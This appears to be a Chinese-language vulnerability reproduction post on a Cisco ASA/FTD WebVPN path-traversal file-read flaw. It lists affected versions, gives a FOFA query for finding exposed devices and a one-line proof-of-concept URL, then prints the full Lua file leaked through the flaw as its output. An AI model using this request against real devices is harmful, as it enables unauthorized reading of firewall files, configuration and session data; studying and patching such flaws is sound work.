CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞


漏洞复现

漏洞概述

2021年10月27日,Cisco发布安全公告,修复了Cisco Firepower 威胁防御 (FTD)、Cisco思科自适应安全设备 (ASA)和Firepower 管理中心 (FMC)中的多个安全漏洞。

CISCO ASA远程任意文件读取

Cisco Adaptive Security Appliance (ASA)是思科的一种防火墙设备。

Cisco Adaptive Security Appliance (ASA)防火墙设备以及Cisco Firepower Threat Defense(FTD)设备的web管理界面存在未授权的目录穿越漏洞和远程任意文件读取漏洞。攻击者只能查看web目录下的文件,无法通过该漏洞访问web目录之外的文件。该漏洞可以查看webVpn设备的配置信息,cookies等。

影响版本

Cisco ASA 设备影响版本:

<9.6.1
9.6 < 9.6.4.42
9.71
9.8 < 9.8.4.20
9.9 < 9.9.2.74
9.10 < 9.10.1.42
9.12 < 9.12.3.12
9.13 < 9.13.1.10
9.14 < 9.14.1.10

Cisco FTD设备影响版本:

6.2.2
6.2.3 < 6.2.3.16
6.3.0 < Migrate to 6.4.0.9 + Hot Fix or to 6.6.0.1
6.4.0 < 6.4.0.9 + Hot Fix
6.5.0 < Migrate to 6.6.0.1 or 6.5.0.4 + Hot Fix (August 2020)
6.6.0 < 6.6.0.1

漏洞复现

FOFA语法

“webVpn”

CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞

POC

https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞

CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞

-- Copyright (C) 2006-2014 by Cisco Systems, Inc.
-- Created by otrizna@cisco.com

ADD_HTTP_RESP_HEADER("X-Frame-Options", "SAMEORIGIN");

dofile("/+CSCOE+/include/common.lua")
dofile("/+CSCOE+/include/browser_inc.lua")

local function compare(a,b) return a["order"]<b["order"] end;

function INTERNAL_PASSWORD_ENABLED(name)
        return false;
end

function CONF_VIRTUAL_KEYBOARD(name)
        return false;
end

no_inheritance = false
custom_profile=""
asdm_custom_file = ""

function SetSessionData(index,name,value)

   local f1
   f1=io.open("/sessions/"..index.."/session_data","w")
   if f1 then
    io.set_metadata_int(f1,name,value)
    f1:close()
   end  
    
end

function GetSessionData(index,name,value)

   local f1
   f1=io.open("/sessions/"..index.."/session_data","r")
   if f1 then
    local ret = io.get_metadata_int(f1,name)
    f1:close()
    return ret
   end
   return nil   
end


function xValue(value)
   if value then
      local ret = string.gsub(value,"\"","&quot;")
      OUT(" value=\""..ret.."\"")
   end
end

function sHTML(value)
   if value then
      ret = string.gsub(value,"&","&amp;")
      ret = string.gsub(ret,"<","&lt;")
      ret = string.gsub(ret,">","&gt;")
      return ret
   end

   return nil
   
end

function explode(str,delim)

   local ret={}
   for val in string.gfind(str,"[^"..delim.."]+") do
      table.insert(ret, val)
   end

   return ret

end


function GetUrlLists()


   local url_list_name
   local url_lists = {}

   local url_lists_str = SESSION_URL_LISTS()
   for url_list_name in string.gfind(url_lists_str,"[^,]+") do
      table.insert(url_lists, url_list_name)
   end

   return url_lists

end

function socket_url_parse(url, default)
    -- initialize default parameters
    local parsed = {}
    for i,v in pairs(default or parsed) do parsed[i] = v end
    -- empty url is parsed to nil
    if not url or url == "" then return nil, "invalid url" end
    -- remove whitespace
    -- url = string.gsub(url, "%s", "")
    -- get fragment
--[[
    url = string.gsub(url, "#(.*)$", function(f)
        parsed.fragment = f
        return ""
    end)
--]]
    -- get scheme
    url = string.gsub(url, "^([%w][%w%+%-%.]*)%:",
        function(s) parsed.scheme = s; return "" end)
    -- get authority
    url = string.gsub(url, "^//([^/%?]*)", function(n)
        parsed.authority = n
        return ""
    end)
    -- get query stringing
    url = string.gsub(url, "%?(.*)", function(q)
        parsed.query = q
        return ""
    end)
    -- get params
    url = string.gsub(url, "%;(.*)", function(p)
        parsed.params = p
        return ""
    end)
    -- path is whatever was left
    if url ~= "" then parsed.path = url end
    local authority = parsed.authority
    if not authority then return parsed end
    authority = string.gsub(authority,"^([^@]*)@",
        function(u) parsed.userinfo = u; return "" end)

    local ipv6 = false

    if(string.sub(authority,1,1) == "[") then
       authority = string.gsub(authority,"^%[(.-)%]",
                               function(u) parsed.host = u; ipv6 = true; return "" end)
    end

    authority = string.gsub(authority, ":([^:]*)$",
        function(p) parsed.port = p; return "" end)

    if authority ~= "" and not ipv6 then parsed.host = authority end
    local userinfo = parsed.userinfo
    if not userinfo then return parsed end
    userinfo = string.gsub(userinfo, ":([^:]*)$",
        function(p) parsed.password = p; return "" end)
    parsed.user = userinfo
    return parsed
end



function ParseURL(url)

   local durl = {
    url = "",
    scheme = "",
    authority = "",
    path = "",
    params = "",
    query = "",
    fragment = "",
    userinfo = "",
    host = "",
    port = "",
    user = "",
    password = ""
  }
  

  local nurl = socket_url_parse(url, durl)

  return nurl.scheme,nurl.host,nurl.port,nurl.path .. (((nurl.query or "") ~= ""  and ("?"..nurl.query)) or "")

end


function GetAppInfo(apps)
   local protocol={}
   local app_info={}
   for _,app in apps do
      app_info[app["id"]] = app
      if nil ~= app["protocol"] and app["mode"] ~= "disable" then
         for p in string.gfind(app["protocol"] or "","[%w]+") do
            protocol[p]=app["id"]
         end
      end
   end
   return app_info,protocol   
end

function GetLogonFields()

    local  fields= {{id="group",name="Group",order=100},
                    {id="username",name="Username",order=200},
                    {id="password",name="Password",order=300},
                    {id="internal-password", name="Internal Password",order=400},
                    {id="secondary-username", name="Second Username",order=500},
                    {id="secondary-password", name="Second Password",order=600}}


    for i,fld in ipairs(fields) do
        local order = CUSTOM("auth-page/form-order/"..fields[i]["id"])
        if  fld["id"]=="internal-password" and 
            (not order or order == "") and
            CUSTOM("auth-page/logon-form/internal-password-first") == "yes" then
                order = 250 -- backward compatibility with the old customization setting 
        end
        
        if (order and order ~= "") then fld["order"]=tonumber(order) end
       
    end
    table.sort(fields,function (a,b) return a["order"] < b["order"] end)
    return fields
end



function LOAD_URL_LIST(name,absolute_path,bookmark_number)
    
   local f
   local ret={}
   local sso_enabled=0;
   local name_md5 = MD5(name) 
   
   if absolute_path and "" ~= absolute_path then
      f=io.open(absolute_path,"r")
   else
      f=io.open("/bookmarks/"..name_md5,"r")
   end


   if not f then return {} end

   local function get_value(value)

      if not value then return nil end
      if string.len(value) == 0 then return "" end
      return string.sub(value,2) 
   end

   local path = "/url-list/"

   local function lget_value(textdomain,value)
      if nil == value then return nil end
      if string.len(value) == 0 then return "" end
      if string.sub(value,1,1) == '+' then
         if string.len(value) > 1 then
            return gettext.dgettext(textdomain,string.sub(value,2))
         else
            return ""
         end
      else
         return string.sub(value,2) 
      end
   end

   ret["list"]      = name_md5  
   ret["title"]     = lget_value("url-list",io.get_metadata_str(f,path.."title"))
   ret["favorite"]  = get_value(io.get_metadata_str(f,path.."favorite"));
   ret["bookmark"]={}

   local i = bookmark_number or 1
   while true do
      local path = "/url-list/bookmark/"..i.."/"
      local url = get_value(io.get_metadata_str(f,path.."url"));

      if nil ~= url then
         ret["bookmark"][i]={}
         ret["bookmark"][i]["n"]=i
         ret["bookmark"][i]["list"] = name_md5   
         ret["bookmark"][i]["id"] = get_value(io.get_metadata_str(f,path.."id"))
         ret["bookmark"][i]["favorite"] = get_value(io.get_metadata_str(f,path.."favorite"))
         ret["bookmark"][i]["title"]       = lget_value("url-list",io.get_metadata_str(f,path.."title"))
         ret["bookmark"][i]["method"]    = get_value(io.get_metadata_str(f,path.."method"))
         ret["bookmark"][i]["subtitle"]  = lget_value("url-list",io.get_metadata_str(f,path.."subtitle"))
         ret["bookmark"][i]["thumbnail"] = lget_value("url-list",io.get_metadata_str(f,path.."thumbnail"))
         ret["bookmark"][i]["smart-tunnel"] = get_value(io.get_metadata_str(f,path.."smart-tunnel"))
         ret["bookmark"][i]["window"] = get_value(io.get_metadata_str(f,path.."window"))
         ret["bookmark"][i]["wait-time"] = get_value(io.get_metadata_str(f,path.."wait-time"))
         ret["bookmark"][i]["preload-page-url"] = get_value(io.get_metadata_str(f,path.."preload-page-url"))
         ret["bookmark"][i]["pre-login-page-url"] = get_value(io.get_metadata_str(f,path.."pre-login-page-url"))
         ret["bookmark"][i]["control-id"]         = get_value(io.get_metadata_str(f,path.."control-id"))
         ret["bookmark"][i]["before-post-script"] = get_value(io.get_metadata_str(f,path.."before-post-script"))

         -- injected form submit 
         ret["bookmark"][i]["injected-form-submit"] = get_value(io.get_metadata_str(f,path.."injected-form-submit"))
         ret["bookmark"][i]["pre-login-page-url"] = get_value(io.get_metadata_str(f,path.."pre-login-page-url"))
         ret["bookmark"][i]["control-id"] = get_value(io.get_metadata_str(f,path.."control-id"))
         ret["bookmark"][i]["login-page-url"] = get_value(io.get_metadata_str(f,path.."login-page-url"))
         ret["bookmark"][i]["landing-page-url"] = get_value(io.get_metadata_str(f,path.."landing-page-url"))
         ret["bookmark"][i]["form-id"] = get_value(io.get_metadata_str(f,path.."form-id"))
         ret["bookmark"][i]["post-param"] = {}

         url = get_value(io.get_metadata_str(f,path.."url"))

         url = substitute_macro(url,false)

         -- Normalize CIFS URLs (cifs://\\host/...)

         if(string.sub(url,1,9)=="cifs://\\\\") then 
            url="cifs://"..(string.sub(url,10) or "") 
            url=string.gsub(url,"\\","/")
         end

         ret["bookmark"][i]["url"] = url

         if string.find(ret["bookmark"][i]["url"], "csco_sso=1")   then
            sso_enabled=1;
         end

         local j=1

         while true do
            local path = "/url-list/bookmark/"..i.."/post-param/"..j.."/"
            local name = get_value(io.get_metadata_str(f,path.."name"))

            if nil ~= name then
               ret["bookmark"][i]["post-param"][j]={}
               ret["bookmark"][i]["post-param"][j]["name"]  = get_value(io.get_metadata_str(f,path.."name"))
               ret["bookmark"][i]["post-param"][j]["value"] = get_value(io.get_metadata_str(f,path.."value"))
            else
               break
            end
            j=j+1
         end
      else
         break
      end

      -- if loading just one bookmark from the list 
      if bookmark_number then
    break
      end   

      i=i+1

   end
   f:close()

   local sso = io.open("sessions/"..SESSION_INDEX().."/sso","w")
   if sso then
      if 1 == sso_enabled then
         -- allow sso call
         io.set_metadata_str(sso, "allowed", "yes")
      end
      sso:close()
   end

   return ret

end

function  post_params2js_array(bookmark)

   return "[{ 'l' : '"..(bookmark["list"] or "").."', 'n' : "..(bookmark["n"] or "0").."}]"

--[[
   local post_params="null"

   if table.getn(bookmark["post-param"])>0 then
      post_params = "[" 
      for i,prm in bookmark["post-param"] do

         local name
         name = string.gsub(prm["name"],"'","\\'") or "";
         name = string.gsub(name,"\\","\\\\") or "";


         local value 
         value = string.gsub(prm["value"],"'","\\'") or "";
         value = string.gsub(value,"\\","\\\\") or "";

         post_params = post_params ..(((i>1) and ",") or "" ) .. "{name : '"..name.."', value : '"..value.."'}"
      end
      post_params = post_params.."]"
   end

   return post_params
--]]
            
end


function show_bookmarks()



end

function BookmarkApplyACL(bookmark,proto,host,port,path,defports,otherports)
     if (port ~= nil and port ~= "") then
          bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,port,path);
     else
          --check default port
          if (defports[proto]) then
               bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,defports[proto],path);
          end
          --check other ports, if there are any
          if (otherports[proto]) then
               local i, p = next(otherports[proto])
               while (i and bookmark["enabled"]) do
                    bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,p,path)
                    i, p = next(otherports[proto], i)
               end
          end
     end
end

function BookmarkApplySupportCheck(bookmark)
    if (bookmark["method"] == "post" and bookmark["smart-tunnel"] == "yes" and browser_info.os ~= "Windows") then
      bookmark["support_error"] = 1
      bookmark["enabled"] = false
    end
end


function GROUP_SELECTOR_ENABLED()
        return true;
end

function print_tree(s,d)

   if(nil == d) then d = 0 end
   if(nil == s) then OUT("nil");return end

   for k,v in s do
      OUT(string.rep("&nbsp;",d*5)); OUT(k);
      if(type(v)=="table") then
         OUT("<BR>");
         print_tree(v,d+1)
      else
         if(type(v)=="boolean") then
            if v then OUT( "#true") else OUT(" #false") end
            OUT("<br>")
         else 
            if(type(v)=="function") then
               OUT("= (function)<br>")
            else
               OUT("="..v.."<BR>");
            end
         end
      end
   end
end

function mangle_url(str)

   local s,e,p
   local path;

   if nil == str then return "/+CSCOE+/blank.html" end

   s, e = string.find(str,"http[s]?://([^/?]+)")

   if(s ~= nil) then
      p = ((string.sub(str,e+1,e+1) == "/") and e+1 ) or e
      path = string.sub(str,p+1);
      return '/+CSCO+00'..ROT13STR2HEX(string.sub(str,1,e))..'++/'..path;
      
   end
end


function get_applications(no_session_check)

--
-- This function may be used in context where there is no webvpn session (for example Customization Editor)
-- Use if(not no_session_check) in places where you retrieve session data 
--

   local c_app = {};
   
   local n1 = 0
   local n2 = 0

   local i = 0;
   local lang

   if is_asdm then
      lang = "en"
   else
      lang = get_selected_language()
   end
   -- Stock applications 

   local app = {}

   i=i+1
   app[i]={}
   app[i]["tab-title"] = L("Home")
   app[i]["id"] = "home"
   app[i]["order"] = i*1000

   i=i+1
   app[i]={}
   app[i]["tab-title"] = L("Web Access")
   app[i]["id"] = "web-access"
   app[i]["protocol"] = "http,https"
   app[i]["default-port"] = "80,443"
   app[i]["url-list-title"] = L("Web Bookmarks")
   app[i]["order"] = i*1000

   i=i+1
   app[i]={}
   app[i]["tab-title"] = L("File Access")
   app[i]["id"] = "file-access"
   app[i]["protocol"] = "cifs,ftp"
   app[i]["default-port"] = "138,21"
   app[i]["other-port"] = {cifs = {"139"}}
   app[i]["url-list-title"] = L("File Bookmarks")
   app[i]["order"] = i*1000

   i=i+1
   app[i]={}
   app[i]["tab-title"] = L("Application Access")
   app[i]["id"] = "app-access"
   app[i]["url-list-title"] = L("File Bookmarks")
   app[i]["order"] = i*1000

   i=i+1
   app[i]={}
   app[i]["tab-title"] = L("AnyConnect")
   app[i]["id"] = "net-access"
   app[i]["order"] = i*1000


   if IS_TARGET_UNICORN then

      i=i+1
      app[i]={}
      app[i]["tab-title"] = L("Terminal Servers")
      app[i]["id"] = "rdp"
      app[i]["order"] = i*1000
      app[i]["protocol"] = "rdp"
      app[i]["default-port"] = "800"
      app[i]["type"] = "1"


   end
   

    -- Plugins 

   local a = lfs.attributes("/plugin")

   

   if a and  a.mode == "directory" then
      for fname in lfs.dir ("/plugin") do
         if fname ~= "." and fname ~= ".." then
            local f=io.open("/plugin/"..fname.."/index.html","r")
            
            if f then
               i=i+1
               app[i]={}
               
               
               app[i]["tab-title"] = io.get_metadata_str(f,"tab-title")
               app[i]["url-list-title"] = io.get_metadata_str(f,"bookmark-title")

               if lang and  lang ~= "en" and lang ~= "en-us"  then
                  
                  app[i]["tab-title"] = io.get_metadata_str(f,lang..":tab-title") or app[i]["tab-title"] 
                  app[i]["url-list-title"] = io.get_metadata_str(f,lang..":bookmark-title") or app[i]["url-list-title"]


               end

               app[i]["id"] = io.get_metadata_str(f,"id")
               app[i]["protocol"] = io.get_metadata_str(f,"protocol")
           -- TODO  facilitate default port from plugin's manifest
           local p_protocol = {}
           for s in string.gfind(app[i]["protocol"],"[%w]+") do
          table.insert(p_protocol,"0")
           end
           app[i]["default-port"] = table.concat(p_protocol,",")
               app[i]["type"] = "1"
               app[i]["order"] = i*1000
               
               f:close()
            end
         end
      end
   end
   
   c_app = CUSTOM_OBJECTS("/custom/portal/application",{{"id",false},{"order",false},{"tab-title",true},{"url-list-title",true},{"mode",false}})

   n1= table.getn(c_app);
   n2= table.getn(app);

   for i1 = 1,n1,1 do
      for i2 = 1,n2,1 do

         if(app[i2]["id"] == c_app[i1]["id"]) then 

            if(nil ~= c_app[i1]["order"]) then app[i2]["order"] = tonumber(c_app[i1]["order"]); end; 
            if(nil ~= c_app[i1]["tab-title"]) then app[i2]["tab-title"] = c_app[i1]["tab-title"]; end;
            if(nil ~= c_app[i1]["mode"]) then app[i2]["mode"] = c_app[i1]["mode"]; end; 
            if(nil ~= c_app[i1]["url-list-title"]) then app[i2]["url-list-title"] = c_app[i1]["url-list-title"]; end; 

         end;
      end;
   end; 

   if not no_session_check then 

       local ua = HTTP_HEADER_BY_NAME('user-agent')
       local stapps = ""
       if (ua and string.find (ua, "Macintosh")) then
          stapps = SESSION_GET_SMART_TUNNELED_APPS("mac")
--[[
       elseif (ua and string.find (ua, "Linux")) then
          stapps = SESSION_GET_SMART_TUNNELED_APPS("linux")
--]]
       elseif (ua) then
          stapps = SESSION_GET_SMART_TUNNELED_APPS("windows")
       end
       local no_smart_tunnel = stapps == ""


  
      for i2 = 1,n2,1 do
      
         if (app[i2]["id"] == "net-access" and not (SESSION_ANYCONNECT_ENABLED() and SESSION_ANYCONNECT_CONFIGURED())) or (app[i2]["id"] == "app-access" and not (SESSION_FEATURE_ENABLED("port-forwarding")) and no_smart_tunnel) then
            app[i2]["mode"] = "disable"
         end
      
      end
   end


   
   table.sort(app,compare);

   return app;
end;


function GetColumns()

   local cols = CUSTOM_OBJECTS("/custom/portal/column",{{"width",false,"percent"},{"order",false,nil,"0"}})

   local function s(a,b)
      
      return tonumber(a["order"])<tonumber(b["order"]) 

   end

   if table.getn(cols) == 0 then
      return {{width="100",order="0",pane={}}}
   end
   
   table.sort(cols,s)

   for _,col in cols do
      col["pane"]={}
   end

   return cols
end

 

function CUSTOM_OBJECTS(path,fields)

   local f
   local ret


   id = fields[1][1]

   local first_item = path.."/1/"..id

   if "" ~= asdm_custom_file then
      f=io.open(asdm_custom_file,"r")
   else
      f=io.open("/customization/"..MD5(custom_profile),"r")
   end

   if nil == f then return {} end

   ret = {}

   for i=1,10000,1 do
      
      ptype = io.get_metadata_str(f,path.."/"..i.."/"..id)

      if nil == ptype then break end

      ret[i]= {}
      for _,fname in fields do
         local name = fname[1]
         local can_localize = fname[2]
         local type = fname[3]
         local def_value = fname[4]

         ret[i][name] = io.get_metadata_str(f,path.."/"..i.."/"..name)

         if  ret[i][name] and string.len(ret[i][name]) > 1 then
            
            if type  then
               if type == "number" then
                  ret[i][name] = tonumber(string.sub(ret[i][name],2))
               end

               if type == "percent" then
                  ret[i][name] = string.gsub(ret[i][name],"%%"," ")
                  ret[i][name] = tonumber(string.sub(ret[i][name],2)) or 0
               end
           
            else   
               local localize = string.sub(ret[i][name],1,1)
               if localize == "+" and can_localize then
                  ret[i][name] =  gettext.dgettext("customization",string.sub(ret[i][name],2))
               else
                  ret[i][name] = string.sub(ret[i][name],2)
               end
            end
         else
            ret[i][name] = def_value
         end
      end

   end

   f:close()

   return ret

end


function CUSTOM(param,default,localize)

   local f;
   
   local function file_name()

      if "" ~= asdm_custom_file then
         return(asdm_custom_file)
      else
         return "/customization/"..MD5(custom_profile)
      end
   
   end
   
   f=io.open(file_name(),"r")
   if not f then return default end

   local s = io.get_metadata_str(f,"/custom/"..param);

   f:close()

   if s and string.len(s)>1 then
      local localize = string.sub(s,1,1)
      if localize == "-" then
         return string.sub(s,2)
      else
         return gettext.dgettext("customization",string.sub(s,2))
      end      
   end

   if nil == default then default = "" end
   
   return default
   
end

function CheckAlerts()


   local reason = 0 
   local user_alert = SESSION_USER_ALERT()
   local idle_alert_time = SESSION_IDLE_ALERT_INTERVAL() * 60
   local end_alert_time = SESSION_END_ALERT_INTERVAL() * 60
   local max_connect_time = SESSION_MAX_CONNECT_TIME()

   tin = max_connect_time -(SESSION_TIME() - SESSION_LOGIN_TIME()) 

   if end_alert_time > 0 and max_connect_time ~=0 and tin <= end_alert_time + 5 then
      reason=1
   else
      tin = SESSION_MAX_IDLE_TIME() - SESSION_IDLE_TIME()
  
      if idle_alert_time > 0 and tin <= idle_alert_time + 5 then
         reason = 2
      end

   end

   if reason == 0 and (not user_alert or user_alert=="" ) then return false end

   return true

end

function FileURL(url)

   return "javascript: parent.doURL('"..ROT13STR2HEX(clean_escape(url)).."','','',false,'', false)";

end

function GetPostParams()
   local s
   local state = 10
   local params = {}
   local name=nil
   while nil~=state do
      s,state = HTTP_READ_URL_ENCODED_BODY(state)
      if state == 10 then
         params[name]=HTTP_URL_DECODE(s,1)
      elseif state==15 then
         name = HTTP_URL_DECODE(s,1)
         params[name]=""
         name=nil
      elseif state==20 then
         name = HTTP_URL_DECODE(s,1)
         params[name]=""
      elseif state==30 then
         if nil == name then
            params[HTTP_URL_DECODE(s,1)]=""
         else
            params[name]=HTTP_URL_DECODE(s,1)
         end
         
         break;
      end
   end
   return params

end


function UpdateAsdmSession(cookie)
   if not IS_TARGET_UNICORN then
      local f=io.open('asdm/'..cookie, "a+")
      if f ~= nil then
         f:close()
         return true;
      end
   end
end

function CheckAsdmSession(cookie, no_redirect)
   -- remove expired

   local diff
   
   TRACE_CUSTOM("ASDM Cookie = "..(cookie or ""),10)
   
   pcall(function()
            for file in lfs.dir("asdm") do
               if file ~= "." and file ~= ".." then
                  local f = 'asdm/'..file
                  local attr = lfs.attributes (f)
                  
                  assert (type(attr) == "table")
                  diff = (SESSION_TIME() - attr["modification"])
                  if diff > 360000 then
                     os.remove(f)
                  end
               end
            end
         end)
   local f=io.open('asdm/'..cookie, "r")
   if f ~= nil then
      f:close()
      return true;
   end

   if not no_redirect then
      OUT("<script>top.close(); top.location.replace('/+CSCOE+/blank.html')</script>")
   end   
   TRACE_CUSTOM("Wrong ASDM cookie = "..(cookie or "").."\n",1)
   return false,diff

end


function GetDefaultPorts(applications)
   local ret={}
   local extra={}
   for _,ap in applications do
      local protocol={}
      local ports={}
      if ap["protocol"] then


         for s in string.gfind(ap["protocol"],"[%w]+") do
            table.insert(protocol,s)
         end
         
         if ap["default-port"] then
            for s in string.gfind(ap["default-port"],"[%w]+") do
               table.insert(ports,s)
            end
         end

         for i,v in protocol do
            ret[v]=ports[i]
            if ap["other-port"] then
                extra[v]=ap["other-port"][v]
            end
         end

      end
   end
   return ret,extra

end



function GetRGB(a)

   local r = tostring(tonumber(string.sub(a, 2, 3), 16))
   local g = tostring(tonumber(string.sub(a, 4, 5), 16))
   local b = tostring(tonumber(string.sub(a, 6, 7), 16))

   return r,g,b

end


function gui_title_style(page)

  
   local title_style = CUSTOM(page.."/title-panel/style","")

   local ret = ""

   if title_style ~= "" then

      ret =  "."..page.."-title {"..title_style.."}" 
      

   else
      
      local bgc = CUSTOM(page.."/title-panel/background-color","#2b76ad")
      local color = CUSTOM(page.."/title-panel/font-color","#ffffff")
      local font_size = CUSTOM(page.."/title-panel/font-size","")
      local font_weight = CUSTOM(page.."/title-panel/font-weight","")


      local gradient = CUSTOM(page.."/title-panel/gradient","no")
      local gr=""



      if gradient=="yes" then

         local r,g,b = GetRGB(bgc)

         gr="background-image:url('/+CSCOU+/gradient.gif?r="..r.."&g="..g.."&b="..b.."');"

      else
            
         gr="background-color:"..bgc..";"
            
      end
     



      ret = ret .. "."..page.."-title {" 
      ret = ret .. ((color ~="" and "color:"..color..";") or "")
      ret = ret .. ((font_size ~="" and "font-size:"..font_size..";") or "") 
      ret = ret .. ((font_weight ~="" and "font-weight:"..font_weight..";") or "")
      ret = ret .. gr
      ret = ret .. "}\n"
      
   end

   if page=="auth-page" then
      local bgc = CUSTOM(page.."/logon-form/title-background-color","")
      local color = CUSTOM(page.."/logon-form/title-font-color","")
      ret = ret .. "."..page.."-form-title {" 
      ret = ret .. ((bgc ~="" and "background-color:"..bgc..";") or "") 
      ret = ret .. ((color ~="" and "color:"..color..";") or "")
      ret = ret .. "}\n"
   end

   return ret

end

function get_persistant_setting(key)

local ret=""
local f=io.open("/sessions/"..SESSION_INDEX().."/key-value","r")

    if(nil ~= f) then

        ret = io.get_metadata_str(f, key)
        if(nil == ret) then
            ret=""
        end
        f:close()
    end
    return ret
 end

function set_persistant_setting(key,value)

local ret=""
local f=io.open("/sessions/"..SESSION_INDEX().."/key-value","w")
    if(nil ~= f) then
        io.set_metadata_str(f, key, value)
        f:close()
    end
end

function ExtractLuaErrorString(s)

   local b,e

   if s then
      b,e = string.find(s,":[0-9]+:")

      while b do 
         s = string.sub(s,e+1)
         b,e = string.find(s,":[0-9]+:")
      end
   end

   return s

end

function reset_cookies_on_logout ()
   ADD_HTTP_RESP_HEADER("Set-Cookie","webvpn="..( (IS_TARGET_UNICORN and "99@1111111111@222222222@3333333333; path=/" ) or "; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure"));
   ADD_HTTP_RESP_HEADER("Set-Cookie","webvpnc=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
   ADD_HTTP_RESP_HEADER("Set-Cookie","webvpn_portal=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
   --CSCtu28428: Remove webvpnSharePoint cookie every time when Logon/Logout procedure executed, it should
   --help us avoid situation when MS PowerPoint uses cookie which had expired webvpn session
   ADD_HTTP_RESP_HEADER("Set-Cookie","webvpnSharePoint=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
   ADD_HTTP_RESP_HEADER("Set-Cookie","webvpnlogin=1; path=/; secure");
   ADD_HTTP_RESP_HEADER("Set-Cookie","sdesktop=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
end


function SESSION_GET_ONE_TIME_PASSWORD ()
    local session = HTTP_COOKIE_BY_NAME ("webvpn")
    local token = string.format ("%x%x%x%x",get_random(),get_random(),get_random(),get_random())
    local id = get_aware_session_index ()
    local fp = io.open (string.format ("/sessions/%d/%s", id, token),"w")
    if nil ~= fp then
        fp:write (session)
        fp:close ()
        return tostring (id) .. "/" .. token
    else
        return nil
    end
end

function SESSION_GET_ID (token)
    local session = nil

    if nil == token then
        return session;
    end

    local name = "/sessions/" .. token
    local a = lfs.attributes (name)
    if a and a.mode == "file" then
        local fp = io.open (name, "r")
        if nil ~= fp then
            session = fp:read ("*all")
            fp:close ()
            os.remove (name)
        end
    end

    return session
end

function GetGroupCustomization(gr,param,default)

   local custom_profile = CONF_TUNNEL_GROUP_CUSTOM_PROFILE(gr) or "DflCustomization"
   if custom_profile == "" then custom_profile = "DfltCustomization" end
   
   local file_name = "/customization/"..MD5(custom_profile)

   local f=io.open(file_name,"r")
   if nil == f then return default end
   local s = io.get_metadata_str(f,"/custom/"..param);
   f:close()

   if s and string.len(s)>1 then
      local localize = string.sub(s,1,1)
      if localize == "-" then
         return string.sub(s,2)
      else
         return gettext.dgettext("customization",string.sub(s,2))
      end      
   end
   return default or ""

end

function get_macro_values(substitute_password)

    local macro = {}


    -- otrizna:
    -- CSCO_WEBVPN_MACRO1 and CSCO_WEBVPN_MACRO2 are arbitrary strings from LDAP.
    -- We use it without encoding because we do not know if it is already encoded or not 
    -- The corresponding macro with the _ENCODED postfix should be used to force URL encoding

    local macro_without_encoding = {CSCO_WEBVPN_MACRO1 = true, CSCO_WEBVPN_MACRO2 = true}

    macro["CSCO_WEBVPN_CONNECTION_PROFILE"] = SESSION_TGROUP()
    macro["CSCO_WEBVPN_MACRO1"] = SESSION_MACRO(1)
    macro["CSCO_WEBVPN_MACRO2"] = SESSION_MACRO(2)
    macro["CSCO_WEBVPN_MACRO1_ENCODED"] = macro["CSCO_WEBVPN_MACRO1"]
    macro["CSCO_WEBVPN_MACRO2_ENCODED"] = macro["CSCO_WEBVPN_MACRO2"]
    macro["CSCO_WEBVPN_USERNAME"] = SESSION_USERNAME()
    macro["CSCO_WEBVPN_PRIMARY_USERNAME"] = SESSION_PRIMARY_USERNAME()
    macro["CSCO_WEBVPN_SECONDARY_USERNAME"] = SESSION_SECONDARY_USERNAME()
    if substitute_password then
        macro["CSCO_WEBVPN_PASSWORD"] = SESSION_PASSWORD()
        macro["CSCO_WEBVPN_PRIMARY_PASSWORD"] = SESSION_PRIMARY_PASSWORD()
        macro["CSCO_WEBVPN_SECONDARY_PASSWORD"] = SESSION_SECONDARY_PASSWORD() 
        macro["CSCO_WEBVPN_INTERNAL_PASSWORD"] = SESSION_INTERNAL_PASSWORD()
    end

    return macro, macro_without_encoding

end


function substitute_macro(string_to_expand, substitute_password,is_not_url)

    local macro_values, macro_without_encoding = get_macro_values(substitute_password)

    for macro,value in macro_values do

        local do_not_encode = macro_without_encoding[macro]

        if is_not_url or do_not_encode then
            -- simply substitute the macro if it is not in URL or it does not require encoding
            string_to_expand = string.gsub(string_to_expand,macro,escapegsub(value or ""))
        else
            string_to_expand = string.gsub(string_to_expand,macro,escapegsub((value and socket.url.escape(value)) or ""))
        end
    end

    return string_to_expand

end


function get_external_portal()

    local p = {}
    p["mode"] = CUSTOM("portal/external-portal/mode")
    p["method"] = CUSTOM("portal/external-portal/method")
    p["url"] = CUSTOM("portal/external-portal/url")
    p["preload-page-url"] = CUSTOM("portal/external-portal/preload-page-url")
    p["injected-form-submit"] = CUSTOM("portal/external-portal/injected-form-submit")
    p["pre-login-page-url"] = CUSTOM("portal/external-portal/pre-login-page-url")
    p["control-id"] = CUSTOM("portal/external-portal/control-id")
    p["login-page-url"] = CUSTOM("portal/external-portal/login-page-url")
    p["landing-page-url"] = CUSTOM("portal/external-portal/landing-page-url")
    p["form-id"] = CUSTOM("portal/external-portal/form-id")
    p["smart-tunnel"] = CUSTOM("portal/external-portal/use-smart-tunnel")
    p["wait-time"] = CUSTOM("portal/external-portal/wait-time")
    p["post-param"] = CUSTOM_OBJECTS("/custom/portal/external-portal/post-param",{{"name",""},{"value",""}})
    p["before-post-script"] = CUSTOM("portal/external-portal/before-post-script")
    return p

end


function get_bookmark(list_md5,bookmark_number)

    local p = {}
    local path = "/bookmarks/"..list_md5
    local list = LOAD_URL_LIST(nil,path,bookmark_number)
    return list["bookmark"][bookmark_number]    

end

function output_metatag()
    local ua = HTTP_HEADER_BY_NAME('user-agent')
    if (ua and string.find (ua, "MSIE")) then
       OUT("<meta http-equiv='X-UA-Compatible' content='IE=edge'/>")
    end
end

漏洞详情

